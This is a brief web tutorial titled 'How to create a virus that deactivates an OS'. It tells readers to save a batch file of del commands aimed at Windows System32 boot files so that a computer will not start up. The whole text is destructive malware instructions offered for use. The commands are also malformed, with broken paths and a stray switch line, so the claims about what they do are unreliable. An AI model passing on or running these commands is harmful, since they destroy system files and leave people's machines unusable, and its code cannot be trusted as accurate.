How to create a virus that deactivates an OS

How to create a virus that deactivates an OS 

    Here are the stepts you should follow to make the virus:

    This virus will stop and prevent a computer from starting up and the only solution would be to reinstall winsows.

    Warning :  never try it on your computer.

    open up notepad and type in the following

    del "C:windows\SYSTEM32\bootok"

    /Q/S >nul

    del "C:windows\SYSTEM32\bootvid.dll"

    del "C:windows\SYSTEM32\bootvrfy"

    After you type these save it as "any name you want ".bat

    Please let me know if it works.